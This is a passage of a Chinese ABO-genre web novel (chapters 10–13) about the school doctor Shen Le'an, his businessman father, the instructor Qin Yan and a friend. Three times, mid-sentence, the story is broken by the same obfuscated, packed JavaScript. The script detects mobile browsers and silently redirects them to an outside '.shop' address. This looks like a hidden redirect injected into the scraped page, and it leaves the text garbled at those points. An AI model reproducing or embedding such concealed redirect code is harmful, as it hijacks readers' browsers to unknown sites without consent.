他说着,又笑了笑,单薄红润的唇瓣轻扬,眼珠黑不溜秋的似一颗发光的晶球,一瞬不瞬地注视着人时,很难让人拒绝。 那条操作链接已经随手转给了他,很显然他最近非常关注这个,秦砚没说严灵灵从来不会找他帮忙做这种事情,因为他认为这种行为非常浪费时间。 沈乐安高兴地送了两颗糖给他。 他打发人的东西一贯简单,又不给人拒绝的后路,还不允许别人评价,但到底也不是什么大事,秦砚最后还是没有拒绝。 10. 第 10 章 手办预售是在专门的APP上,秦砚按照操作流程,下载后还需要注册填写信息,购买需要提前实名认证,同时为了保障到时候能抢到单,收获信息也需要重新填写好。 前前后后一整个流程操作完,秦砚花了整整二十分钟。 放下手机,他又看了眼时间,揉了揉额角。 哪怕沈乐安再提,他下次也不会再答应这样浪费时间的事情。 暂时从APP里面退出,秦砚重新拨打回去方才没有接到的来电。 那头很快接通,“刚才在忙吗,怎么没接电话?” 秦砚刚刚在填写信息,如果接了电话,可能流程中止需要重来,不过他没有详细解释,只嗯了一声,问:“您有什么事情吗?” 秦母道:“没有打扰到你就好,上次给你发的那几个小孩的信息你看了吗,有没有喜欢的?” 秦砚当时退出后也忘了瞧,便随口道:“第一个吧。” 秦母便笑道:“我就猜到你会选他,风凛今年刚从国外回来,现在在联邦大学读博,你们小时候一起玩过,肯定有共同话题。” 秦砚对这个名字毫无印象,但提到联邦大学,倒是记得姨夫在那教书,也是沈乐安的母校。 只要不耽搁他的正事,他不介意做点事情让家里暂时少操他的心,“您安排就行,我会腾出时间。” 秦母笑了一声,还想再关心两句,便听他道:“我还有点事情,没有别的我先挂了。” 秦母:“……行,你好好休息。” 秦砚看了眼时间,临近八点钟,他还是记得沈乐安提醒过他最好提前两分钟进去APP的,以免卡顿。 刚一挂断电话,便看到了对方发来的提醒:【秦教官,还有两分钟!】 秦砚看了两眼,回:【知道了。】 他既然答应了,就不会随便放他鸽子。 里面倒计时渲染着紧张的气氛,秦砚点进,没什么表情地浪费这两分钟的时间,直到耐心即将告罄,下单的按钮才终于变了颜色。 付款后面的操作很简单,秦砚弄完,盯着扣款成功的消息出现,才给沈乐安发了信息。 过了迟迟半分钟,那边才回。 LLA:【!】 LLA:【谢谢亲爱的秦教官O3O】 LLA:【什么时候有空?请你吃饭!】 秦砚盯着那条消息看了数秒,只回了一个高冷的拒绝:【不用。】 沈乐安心情好,见他不应也没有生气,琢磨着以后总能把这顿饭请回去。 手办事情顺利,但见他爹这事就有点曲折,沈乐安计划的出门行程临时更改,因为沈烨去国外出差,周五才回来。 好在时间也不算赶,和秘书打听好沈烨的行程,周五下午,沈乐安收拾了自己一番,这才打车出门。 沈氏集团如今发展壮大,总部设施齐全,在一片归属公司的园区,进出还需要刷员工卡,也幸好当时他来这给沈烨当临时助理时候的卡还能用,这才大摇大摆地混了进来。 在园区内基本上是正装或者正儿八经的长款休闲衣服的人群中,稍微特别一点的装扮都会显得特立独行,尤其是那人颜值突出,便愈发醒目。 少年穿着白色T恤内搭,外边套了一件藏蓝色的衬衫,没有扣扣子,下面的五分黑裤,带着个黑色墨镜,手上还抱着像是随手摘来的花束,散漫又张扬。 如果不是对方刚好站在林江源要去的楼前面,无法避开,林江源不会想要和这人打招呼。 沈乐安拉下一小节墨镜,礼貌打招呼:“林先生,好巧。” 他口袋浅,能隐约看到一小节工作卡的位置,林江源盯着他看了两眼,“沈医生不是在校医办工作?” 沈乐安点头,解释道:“我之前在这里工作过,来看看我的前上司。” 沈氏确实可以为这些年轻人的实习履历增加很大的光彩,但沈乐安没能留下,而是最后成了一个普通的校医,那也说明这人没有什么本事。 林江源看了眼他手上的花,颇为无语,看在自己儿子的份上,委婉道:“你之前在这里实习过,应该知道集团管理严格,非员工不能随意进出,如果和你上司想有什么私下交流,可以在下班后约人。” 沈乐安坚持道:“我上司太忙,其他地方找不到他,来这也是想给他惊喜。” 林江源不想多事,只觉得之前应聘他的那个上司也不懂事,看了眼表,道:“我还有会议要开,先进去了。” 沈乐安便道:“刚好一起吧。” 林江源:“……” 沈乐安把墨镜戴好,厚着脸皮跟进去,还打算借此机会套套林江源的话,但奈何他只字不语,看上去心情不佳,生人勿进。 林江源今天和总部的管理层有会,沈董主持,去的是顶层。 沈乐安站在他旁边,没按电梯,一路快到顶时,林江源才忍不住提醒道:“这一层是董事长的办公区。” 他不想让人以为沈乐安是自己带过来的,到时候给自己添麻烦,但奈何眼前的少年权当不知道他的暗示,懒散地嗯了一声,表示知道。 林江源冷了脸,觉得这人有点不识趣,打算等会下电梯还是打电话通知一下保安,以免出了什么意外,牵连到他。 一下电梯,林江源便加快了步伐,将人甩离好几步,直到碰见周秘书过来,他才改了步速。 周秘书跟在沈董身边多年,又是沈董一手提拔起来的,林江源对她态度也是十分恭敬,“周秘书,沈董提前了会议时间,会议室还是那个吗?” 周秘书:“会议室没换,林先生直接过去就行,沈董两分钟后过去。” 林江源道了声好,迟疑了一下,还是道:“在楼下看到一个前同事他来找人,他跟着我上了这层,在我后边,今天高管都在,我怕影响不好,需不需要联系保安让人请他离开?” 话音刚落,步调慢悠悠地少年已经推开玻璃门进来。 周秘书瞥见人,表情复杂了数秒,才对他道:“不用,他有预约。” 林江源愣了下,没有错过周秘书的表情变化,没有再提,只是放了点心眼,步调迟缓许多,耳后传来周秘书与他的说话声。 称呼是十分恭敬的“您”,林江源脸色微变,表情沉了沉。 周秘书瞅见沈乐安手里摘来的花时,便觉不好,“沈董还有个会议,我带您去他办公室等。” 沈乐安眼皮稍抬,“我一来就开会,沈董公务真是繁忙。” 沈董临时改会议时间,周秘书当然知道是为了给小少爷下马威,但父子掐架,旁人当然不敢掺和。 她没有接话,问道:“还是给您一杯热牛奶?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211802|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈乐安嗯了一声,“谢谢周姐。” 沈烨办公室内还是和上次走的时候大差不差,唯一有变化的可能是花盆里的花束,真花换成了假花,沈乐安在这边工作的时候就喜欢嚯嚯沈烨自己种的那片小花丛,每次路过都会去里面摘新花,把他心疼的不行。 办公室的外围是透明的玻璃,顶层很高,沈乐安以前在这里上班的时候很喜欢晚上从这里看夜景,这里位置不错,能远眺车水马龙的街道,也能看到人来人往的CBD,京市夜晚灯火通明,高处纵览全局,会让人很有对这个世界的掌控感。 此刻还是下午,天空中捏造了千姿百态的云彩,良好的隔音玻璃隔绝了外界的喧闹,又多了一分宁静安然的感觉。 沈乐安从大二暑假来这实习到研究生毕业,还以为自己会一直在这待下去,结果世事难料,最后还是回去考了编。 他低估了这个世界对AO性别分化后的影响力,也对不可控的未来有了防备心,尤其是在他分化时千谋万划,竟然还是重复了原书中沈乐安本该出现的信息素暴动之后。 沈乐安喝了口牛奶,开了局游戏,悠闲地度过等待时间。 沈烨这一次会议开的久,主持人是他,但汇报人都是底下的高管,他只偶尔点评一二,话不超过十句。 散了会,杨元然才问他:“不是原定了其他的日程,怎么提前了会议?” 沈烨动作慢慢悠悠道:“不碍事,让他等。” 杨元然见他眉眼轻扬,有几分得意,心中了然,“是乐安来了?他身体还没有好完全吧,你别欺负他。” 沈烨冷嗤一声,道:“他好得很,不把我气死就已经不错了。” 杨元然无奈,“你俩还真的是父子。” 他感慨了一句,想到什么,又问:“乐安不在,助理的空缺补齐了吗,需不需要我给你推荐?” 沈烨:“不用,有暂时轮岗的替补。” 杨元然不再多说,“那我先回去了,你回去记得把乐安的新地址发给我,我之前答应他给他寄糖果和饮料的。” 沈烨合上电脑,没说自己儿子没告诉自己地址的事情,只道:“寄去沈家就行,他想吃自己回去拿,惯的他。” 会议室隔音好,林江源在外头,听不清他们的对话,见到杨元然出来,主动道:“杨总,沈董还有什么事情交代吗?” 杨元然看了他一眼,道:“没什么,在聊私事。” 林江源闭了嘴。 杨元然走的时候,还和周秘书打了声招呼,给周秘书拖了点私事,林江源默默站在一旁,听了点大概,却将心中的猜测确认了七分。 他没想到沈家那位小少爷竟然就是他之前碰见过几回的普通校医! 沈家有个男孩这事大家都知道,但沈少爷平日极其低调,没有怎么出现在社交场合,倒是有风声传言他一直没有分化,许是身体出现了问题,所以沈家一直护着不让出门。 如今来看,难道是分化成了Omega,所以沈家才不愿意让他见外人?但也没见谁家会拒着Omega不见人的,难道是有什么隐疾? 更让林江源想不明白的是,沈家怎么会让沈乐安成为一个普通的校医,又怎么会让他一个Omega去全都是Alpha的联邦军校工作。 怎么看都觉得像是沈家人不待见沈乐安啊。 11. 第 11 章 沈烨进门时,办公室内还有游戏胜利的BGM的尾声余音绕梁,尚未止歇。 他下意识看向办公桌上的花瓶,里面的假花还在,但是增添了参差不齐的花支,花瓣上还有鲜艳欲落的水珠,叶片嫩绿亮丽,显然刚刚采摘出来,不用想,也知道是他花圃里面刚长出来不久的花。 沈董事长脸上的冷淡险些没有绷住,余光瞥见无动于衷的少年时,“砰”地一声没控制住力度,把手提电脑往桌上一搁,动静不小。 少年穿的纨绔,胸口处别了一个墨镜,抱枕被他当做枕头,斜躺在沙发上,小腿又白又直,挂在把手上,手上拿着手机打游戏,旁边的桌上是没喝完的牛奶和七零八落的零食,完全没有把规矩放在眼里。 沈乐安听到动静,斜了他一眼,“沈董开完会了?” 沈烨阴沉着脸,语气不善,“你工作就学了这些恶习回来?” 沈乐安充耳不闻,把游戏打完,这才慢悠悠地放下腿,随手拿纸巾擦了擦嘴,腔调懒散:“我来我爸办公室,又不是上班。” 沈烨本来火冒三丈,这会又被一阵阴风冲散,冷哼一声,坐回工作位。 他把沈乐安瞎摆的花调了调位置,又道:“下次来不许去我花圃里摘我的花。” 沈乐安敷衍地哦了一声。 虽然心知肚明这小子一向阳奉阴违,但沈烨心里还是觉得舒坦了一些,“你来找我是想通了?你要觉得之前那些Alpha不喜欢,我还能给你再挑你觉得长得好看的。” 沈烨并不赞同沈乐安这样肤浅的挑选伴侣的手法,但奈何这小子脾气倔,闹了这么一通,沈烨觉得让点步能换来他的妥协,也不是不行。 沈乐安拽了个椅子,坐在他对面,“我打算和你说这事,今天是来找沈董谈个合作。” 沈烨抬了抬眼皮,“你是代表联邦军校来的?” 沈乐安嗯了一声,“看在我曾经在这工作以及沈董面子的份上,我觉得给沈董走个后门的机会。” 涉及公事,沈烨面色平静许多,“说吧,沈医生有什么来路给我介绍。” 沈乐安道:“我们学校采购的合作商合同到期了。” 从来没有凭空掉馅饼这样的好事,沈乐安也从来不会让自己吃亏,沈烨对自己培养的小孩认知深刻,扬了扬眉,直白道:“条件是什么?” 沈乐安:“沈氏需要每年给我校提供一笔经费,持续二十年。” 沈烨:“多少?” 沈乐安比了个数字。 这个当然是比原来计算的尿检成本要高的多的数字,但谈判本来就不能直接暴露底牌,沈乐安开始要报的多,才能给对方压价的机会。 沈烨:“如果能保证五件单品的合作,我可以答应这个要求。” 沈乐安摇头,说道:“我只给你们提供入场的机会,不保证合作的结果,沈氏有本事,全部谈下来都可以。” “你这是想空手套白狼?”沈烨被他无耻的行为气笑了,“想得美!” 沈乐安道:“我是带着诚意来的。” 沈烨睨了他一眼,不知他打的什么算盘,“那你说说,有什么值得我投资这个风险性极大又极有可能毫无所得的合作?” 沈乐安笑了笑,“经费提供期间,校方可以和你合作联名一样单品,联邦军校从来没有和那家企业有过这样的联动,您觉得诚意是否足够?” 他顿了一下,继续道:“如果沈氏和我校达成合作,那接下来和其他高校的合作必然更加顺利,如果没有办法达成,联动一出,沈氏一样能借此名头打入高校的合作商,甚至可以通过我校的名声获得更多的销量,这些都是潜在的巨大获利,而且,我想以沈氏的能力,说不定能一举拿下这个巨大的市场份额。” 他说的倒是情真意切,句句都在为沈氏考虑,诚恳的好似自己为沈氏挣来了一个巨大的机会,哪怕知道这小子一向油嘴滑舌,但沈烨还是忍不住被他挑拨了一把。 这个机会固然有可挖掘的利益,但毕竟市场上也是没有这样与高校合作的先例,哪怕联邦军校确实声望高,但没有人能够预估是否能够真的如他所言,这样的联动就一定具有高收益,且高校的合作商一向签的是长期的合同,想要和其他高校达成合作,还得了解合同到期的时间,以及走通高校内的关系,风险当然也是同样巨大的。 不过无论如何,没有高风险就没有高收益,沈烨既对自己一手养成的儿子满意的不行,又有点惋惜他分化成了Omega,Omega想要接手集团太难,董事那一关就非常难过,他并不愿意这没受过挫折的儿子遭受这些,但这小子又不理解他对他的好,叛逆的让人呕血。 沈烨沉吟许久,才道:“沈氏只提供十年,每年经费也需要下砍一半。” “不行。”沈乐安道,“我们至少需要保留三分之二。” 沈烨看了他一眼,“这笔钱拿来干什么的?” 沈乐安语气公事公办,“不能外告,学校私事。” 沈烨磨了磨牙,指尖轻点桌面,“和沈氏合作的经费扣一半,剩下的我个人额外给学校捐,不过你得答应我和人吃几顿饭。” 这个自然也是看在沈乐安在那工作,他个人名义捐赠自然也是希望校方可以看在这个份上不要太为难沈乐安。 沈乐安完全没打算领这心意,翻了个白眼,“我不卖身,你爱捐就捐,但是沈氏和学校合作的这笔钱不能降。” 这笔经费是直接给尿检的,捐赠的话,那校方就可能会考虑把资金花在别的地方了,资金充足说不定还能再多做几年,沈乐安不会在这个上面让步,毕竟这一定不是沈烨的底线,他对自己的老爹还是非常了解的。 沈烨语气凉飕飕的,“我给你教的谈判知识,你用来对付我来了?” 沈乐安瞄了他一眼,“我可以帮沈氏促成抑制剂的合作,这是和我爸的私人交情,不收费。” 沈氏的抑制剂推新后很出名,陈悦也有所耳闻,本来就有点意向,且今年和学校合作的合作商加价,沈氏有自己的研发团队,专利在自己手里,成本比别人低,开的价格自然也更有优势,往年招标名额有限,不会轻易外给,但今年刚好有尿检的事情比较紧急,这个合作沈乐安倒是可以打保证,至于其他的,沈乐安其实没有那么看好,不过他当然不会提这些。 沈烨面不改色,盯了他一会,才说:“行,我稍后找人去学校和你们负责人签合同。” 沈乐安把陈悦的联系方式给他,又给陈悦发了条消息,表示事情顺利,他顺手把原先写好的方案转给沈烨,“照这个条件,双方共赢。” 沈烨瞅了一眼,心中满意,但后知后觉,又沉了脸,“你早想好了,拿感情牌套路我?” 沈乐安当然不会承认,嘴里的话随口就来:“我说了,这个是私人交情,我不会让我爸亏,当然早早给您打算好。” 沈烨拿这让人又气又爱的滑头没办法,冷哼一声,又道:“你真心疼我,就应该乖乖听我的话,赶紧把那破工作辞了,你知道你同龄人如果发现你在一群Alpha的地方当个小校医,会怎么看你吗?” 沈乐安微笑道:“他们只会心疼我,说没想到沈董事长竟然重A轻O,我一分化就停了我的卡,不让我花沈家的钱,让我远离公司外放到这个小岗位自生自灭。” 沈烨:“……” 他脾气还算好,但一旦对上臭小子这张不饶人的嘴,就爆的不行,当初为了逼他放弃去做那个破工作,放了狠话,没想到这小子还硬气,搞得他被老爷子一顿喷,现在又有点下不来台。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211803|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈烨沉默片刻,委婉道:“老爷子心疼你,早就把你的卡解了,我不是给你打过几次钱?别动不动坏我的名声。” 他说完,扫了沈乐安一眼,把进来就想说的话吐糟了一通,“沈家哪里缺过你这方面的东西,不要一天到晚就穿着这种行头出去外面,丢人现眼。” 沈乐安戴上墨镜,故作风流,“这叫纨绔少年Alpha风,就是你上次想介绍给我那个,他就这么穿,我觉得挺好看的。” 沈烨被他噎了一句,那口气不上不下,堵得慌。 他本来还想提一提宋老爷子有个优秀的外孙,现如今看他这样,相亲十有八九也是不成了,搞不好还得把人得罪了。 宋家的亲家貌似是军政界的,他还没想这逆子能懂事到不给他添乱子,上一回放人鸽子,他还给人赔了好大的脸。 沈烨努力压下那股气,缓了缓语气,“今晚没事就和我回老宅吃个晚饭,你爷爷奶奶多久没见你了,你也不知道孝顺老人。” 沈乐安拆了饮料,喝了口,“我前几周回去陪爷爷奶奶吃过饭,你工作上班,当然不知道。我今晚有约,不回家。” 沈烨:“那你其他时间呢?” 沈乐安大爷似的口吻:“得看看工作,忙,没空。” 沈烨不再多言,再多问显得他好像在求着这小子回去吃饭一样,掉价。 见他看了表,伸了伸懒腰,正打算离开,叫住他:“你杨叔叔说要给你寄糖果,你新住址给我发一下,我转给他。” 沈乐安没说自己住校内,只道:“寄到我工作地就行,我上班的时候可以顺路拿。” 沈烨不想说话了,摆摆手,示意他赶紧滚,不要碍眼。 沈乐安关门前对里面的人说了句:“给您点了外卖,记得按时吃饭。” 也没管里面的人什么表情,总归他今天让他爹吃了几次瘪,又顺利达成了合作,心情格外的舒畅。 周秘书见他出来时脸上春光灿烂,便知道老板又没讨到什么好处,她没打听老板私事,只是交代了杨总给她托的话,“杨总说有新品要上,想给您寄过去,让您记得给他发新住址。” 沈乐安嗯了一声,统一给人转达的都是工作的快递地址,没打算把自己住哪广而告之,免得又被老爹知道上门骚扰。 他想了想,多问了一句:“他现在应酬喝酒还多吗?” 周秘书委婉道:“您在的时候会好一点。” 下属自然没有儿子的监督有效,沈乐安现如今又管不到他人,没有办法面面俱到,“麻烦周姐叮嘱他按时吃药,不然到时候进医院耽搁的还是他自己的工作。” 周秘书应下。 沈乐安道了声谢,没有再逗留,他晚上还约了余淮阳吃饭,现在看时间,对方应该快要到园区门口了,他得现在赶过去。 人到门口,就收到了他发的消息,余淮阳特意给他发了个地位,表示自己已到。 沈乐安倒是不需要凭借这个找到他人。 他一出园区,便认出了余淮阳的车。 红色张扬的超跑临时停靠在路边,与周围停放的低调商务车形成鲜明的对比,车主倚在车门边,黑色墨镜别在发间,一手抱着一大捧红艳醒目的红玫瑰,另外一只手上夹着烟支,偶尔有人路过,还会多往他身上瞟上两眼。 沈乐安这个墨镜还是他头上那副的同款,当初余淮阳送的,身上这一身也是朝着余淮阳平日的穿搭学的,沈董最讨厌就是这副扮相,但他觉得自己这身只学了表面,没学到这家伙的内核。 和余淮阳站到一块,沈乐安就觉得自己输了。 与余淮阳那大喇喇招摇过市的花衬衫以及那完全无视众人眼光的行为相比,沈乐安觉得自己像个清纯小白花。 很纯的那种。 12. 第 12 章 陈悦和沈氏签约十分顺利,流程走的快,合同上的条约她认真看了两三遍,她还是第一次感觉到合作方主动送钱的感觉,生怕掉了什么坑。 签完约,左思右想,她还是给杨校长打了个私人电话。 当初杨校长亲自电话给她,交代她照顾一下这个新来的小职员,她还以为对方是个走后门占坑位的关系户,接二连三的事情下来,陈悦又觉得也许是上面安排了沈乐安过来办什么重要事情了,毕竟对方的能力确实格外突出,不论是哪个方面。 电话一接通,她便直接道:“杨校长,我是校医办的陈悦。” 杨校长:“有什么事情吗?” 陈悦把和沈氏集团合作的事情复述了一通,又提了提新获得的经费会在体检的项目上,至于沈乐安的猜测,她也一并提了一句。 杨校长本来还没有多注意,听她提到最近发生信息素暴动的学生以及沈乐安的发现,他语气也严肃了几分,“沈校医的结论可靠吗?” 陈悦:“他只是发现了可疑点,没有办法完全下结论,这次的合作也是他主动提出促成的,已经签合同了。” 只是推测,杨校长松了口气,沉思片刻,“这次的体检日期在什么时候?” 陈悦看了看日历,“预计在两周后。” 杨校长:“提前到下周吧,检验机构我会专门找内部人员,不会泄密。” 陈悦应了声好。 杨校长挂完电话,饭也没胃口吃了,沈乐安当初被安排进来的时候,他还觉得上面在胡闹,搞什么AO改革,没想到这小子竟然闹了这样的事情出来。 联邦军的后备役如果真的有违禁药物传播,还因此闹出了信息素暴动的事件,他作为校长,也难辞其咎,不过也只是没有实证的推论,若是以往,杨校长不会那么烦躁,关键在于这个事情是沈乐安做的,甚至尿检也是他促成的,上面提醒过他,这个安插进来的Omega如果有什么发现需要及时通报,这才是杨校长觉得麻烦的地方。 他心里骂骂咧咧了一会,还是硬着头皮给上头打了电话。 几通转线,接听的人也换了几道,最后传来的是到沉稳年老的声音,“你好,我是齐鸿钧。” 上次联系他的是齐老的秘书,杨校长还是第一次直接和元首本人谈话。 杨校长声音颤了颤,下意识坐直了些,“元首好,我是杨荣华!” 齐鸿钧声音有些淡,“秦砚出事了?” 秦砚背景硬,当初安排来这当教官,还是元首亲自开的口,偶尔电话联系也是关注的他的情况,杨校长一直清楚,怕他误会,忙道:“秦上将一切正常,是这次的学生信息素暴动事件,您的秘书上次联系安排进来的沈乐安有一点个人想法……” 他三言两语交代了始末,以及沈乐安来这几次的事迹,拐弯抹角夸赞了一下元首眼光好,又提了提这次改革的正确性。 杨校长对沈乐安没什么关注,但这种无依据的推论,他打心底不认同,也半点没想沾边,所以沈乐安自己捣鼓的事情他也没有抢功劳的意思,如实陈明。 齐老听完,笑了笑,“这小孩还有点本事,难怪他导师对他评价很高。” 杨校长附和一二,又提了自己接下来的安排。 齐老:“就按你说的做,不过数据的结果你可以给沈乐安发一份,他研究的方向和这个相关,也许能够有帮助。” 杨校长应下。 齐老:“校内的管理你需要加强,秦砚是总教官,你可以让他安排一次查寝,提前检查一下是否有药物放在寝室的情况。” 杨校长记下安排,又听他道:“检测结果出来和我报备一声,不要忘了。” 杨校长:“好的,您放心。” 他觉得十有八九又是没有什么价值的结果,杨校长对校内管理还算有自信,不认为一个新来的Omega校医能有多大本事。 齐老却不这么认为,沈乐安在他眼中是可造之材,他挂完电话,表情严肃,不可避免的延展猜测,如果真的军校内出现了这样的违禁药物,那是否意味着军队内可能也有这样的事情出现,违禁药物从何而来,又是通过什么渠道在市面流通,是否有官员参与此事? 自从那次绑架事件之后,他总觉得信息素暴动这个从前很少出现的名词在频繁的出现在耳边,也不知道是哪方人员在策划这样的危险事情,这方面的研究目前进展不多,他关注的那些人里面,也就沈乐安似乎有了点进展。 这小孩倒是确实有几分本事。 齐老拿出沈乐安的资料,重头仔细读了一遍,放下文件时,侧头看了眼窗外。 玻璃窗外星云密布,皎洁的月色点缀夜间,城市的喧嚣被琉璃吸融,只有流动的车与行走的渺小人流,高楼上的灯光亮起,巨大的广告牌传达着这个商城的热情似火。 余淮阳拍了张照,发了朋友圈,批注:回国和小少爷吃饭,他好友多,一群人在下面起哄,他随机挑了几条回复。 看见某条回复时,他扬了扬眉:“你小叔说你爸本来今天要带你回去吃家宴的,放了家里鸽子?” 沈乐安:“他擅作主张,我可没有答应。” 余淮阳挑眉道:“专门为了迎接我啊?真感动。” 沈乐安不理他,关心了两句,“叔叔身体怎么样,手术顺利吗?” 余淮阳:“我爸其实没有生什么大病,是我妈非觉得国内技术不行,硬是拉着他去了国外做,明明用不着我,还绑着我去国外,那边没什么好玩的,无聊死了。” 沈乐安扫了他一眼,“我看你挺乐不思蜀的。” 他朋友圈一天到晚都是各处游玩的照片,从来没有消停过。 余淮阳想到什么,笑了笑,嘴角还有个浅浅的梨涡,顺嘴便道:“这花,送你的分化成人礼,感动吧,多亏了你,我还狠狠宰了凌颂一笔,今天那车就是他输了赔我的。” 沈乐安总觉得他笑的不怀好意,盯着他看了一会,“你们赌什么了?” 余淮阳:“他说你肯定分化成大猛A,我不信,说你一看就是个香甜小O。” 沈乐安:“……” 余淮阳见他表情不善,老实闭麦。 沈乐安:“再提绝交。” 余淮阳低头吃饭,不和小少爷计较。 沈乐安看了他一眼,话题回归正事,“你这次去国外看了那边的游戏全息行业现状没,有什么收获吗?” 余淮阳放下筷子,表情正经了几分,“看了,国外的游戏的种类、质量数量都挺多的,技术的发展还可以,不过他们主要市场倒是没有延伸到联邦内来,不过国内外的全息游戏都有个比较共通的地方,目标的用户群体主要是Beta和Omega。” 全息游戏的厂商没有考虑过Alpha的市场?这个倒是有点奇怪。 沈乐安喝了口水,“不是说买了全息游戏仓,你寄到哪里了?” 这是国外的研发团队的最新成果,在国内的运用还不多,成本高,意味着游戏开发需要更高的费用,国内的游戏行业目前还在观望的状态。 余淮阳道:“你上次不是专门叮嘱我换了地址,寄到你工作的宿舍了。” 沈乐安嗯了一声,“谢了。” 教职工的宿舍余淮阳回来前还打听过,空间芝麻大小,他拧眉问了句,“你的卡还在停用状态?如果需要帮忙,我手里有余钱,可以借你周转,犯不着委屈自己住那样的小破地方。” 沈乐安:“用不着,我一个人住不需要什么大空间,打扫起来都嫌麻烦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211804|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况住里面,他们也不能随便进来扰我清净。” 一方面是为了躲他爹,另外一个方面也是不想圈内那些人知道他住哪,跑来看热闹,这群富二代一天到晚没事干净招人眼,麻烦。 知道沈乐安分化成Omega后想看热闹的人不少,余淮阳表示认同。 “对了。”余淮阳道,“我下月七号生日,他们约了我去酒吧玩,想让我叫上你,你要不要一起去?” 沈乐安瞥了他一眼,“怎么,你不想我去?” 余淮阳表情有点别扭,“也不是,就是一群糙A混的很,我怕你介意。” 沈乐安微笑:“你他妈以前带我去这种局去的还少?现在觉得不行了?” 好吧,对于沈乐安真分化成Omega这件事情,余淮阳其实说白了还是非常不适应的,虽然以前经常口嗨,但沈乐安除了长得纯了点,这脾气还真不像个娇软的甜美小O。 余淮阳调整了一下心态:“小少爷开口怎么不行,我到时候定好具体的包厢和时间再告诉你。” 沈乐安倒不是真感兴趣这种局,但和余淮阳关系不错,他每年生日都在,不至于如今因为一个AO性别就别扭避嫌,他一直认为这种行为简直有病。 吃完饭,余淮阳倒是把这几个月好友间陌生的疏离感扯没了,还扬言自己有一圈的Alpha人脉,沈乐安看上哪个可以任意挑选。 沈乐安没有搭理他,把人赶去停车场当司机把车开来送他。 沈乐安在楼下等,琢磨着他过来还有一段时间,又手痒开了局游戏,抱着一大束花靠在门口的白色大圆柱边,因为那一捧红玫瑰的缘故,有点扎眼。 秦砚视线多停留了两眼。 林风凛察觉到,好奇道:“秦砚哥的朋友吗,要不要过去打个招呼?” 耳朵捕捉到某个熟悉的姓氏,沈乐安下意识抬头,看见站在从楼上下来的两人。 门口处只有顶上暖黄的灯束,从上方铺散而下,给少年柔软的发旋增添了一丝软调,依稀能看清少年的容貌,莹白玉色,唇瓣薄红,扬了扬唇,狐狸眼轻弯,又纯又欲,尤其在那一捧红玫瑰的艳色衬托之下,愈发明显。 沈乐安在旁边的Omega身上转了转,并未久留,手上拿着东西不便,下颌稍抬即落,打了个招呼,“秦教官。” 秦砚嗯了一声,并没有打算介绍的意思。 林家的司机开着车到,秦砚目送他上车时,林风凛忍不住多问了一句,“秦砚哥,你朋友是不是在等车,要不要我顺路送他一趟?” 秦砚看了他一眼,“不用,你们不顺路。” 林风凛收回视线,“好吧,你什么时间有空,下次找你一起吃饭。” 秦砚语气不变:“最近忙,回去吧。” 林风凛有点失落地关了车门,司机听了话,开车驶离。 沈乐安还站在门口,低头玩手机,旁若无人。 秦砚走回,问道:“打车过来的?” “没有,朋友送我过来的,他车放停车场了。”沈乐安道,“秦教官现在回校?” 秦砚看了眼他手里的夺人目光的花,嗯了一声,又道:“上次下单的东西地址是我家,现在不能修改。” 沈乐安:“没事,我到时候去你那里拿。” 大红色的超跑过来时还闪了闪灯,格外醒目,沈乐安服了余淮阳这招摇劲,没有逗留,对他道:“先走了,你时间表空出来告诉我一声,请你吃饭。” 沈乐安抱着花上了副驾驶,驾驶位置上的车窗没开,看不清里面的人是何样貌,唯有能清晰辨别的是这辆超跑的主人与他关系应该不错。 车子很快离去,嗡鸣声融入夜色,灯光变暗,又归为一片沉寂。 秦砚漠然收回视线。 13. 第 13 章 沈乐安记得第一次见到秦砚就是在这个餐厅,当时他也是在和一个男生一起吃饭,这一回场景复现,竟然有点恍然之感。 他倒是记得秦砚上次说的话,他没有Omega伴侣,以沈乐安对他的了解,秦砚又不似余淮阳那样爱玩,今天这架势,十有八九是相亲。 那个男生清瘦高挑,长相也过得去,两人交流不似刚认识的,也许是之前的朋友或者同学,对方看起来对他倒是有几分意思,奈何秦砚态度不冷不热,看不出真实的心思。 秦砚看起来还很年轻,没想到竟然这么早就想要结婚? 沈乐安深觉可惜,他还是第一回见到感兴趣的人,没成想行动中殂,还没追到人,对方就已经决定踏进婚姻的坟墓。 婚姻可不止两个人的事情,还是两个家庭,甚至是两个家族的联系,ABO世界之下,Omega处于相对弱势方,沈乐安在自己家都觉得有点被老爹的想法烦到,何况是完全陌生的另外一个家庭,他是完全没有考虑过结婚的。 沈乐安之前不是没有猜测,只是没有眼见为实,如今有了结果,还是为自己惋惜了一晚上,熬了夜多玩了一会游戏,第二天上班还有点困倦。 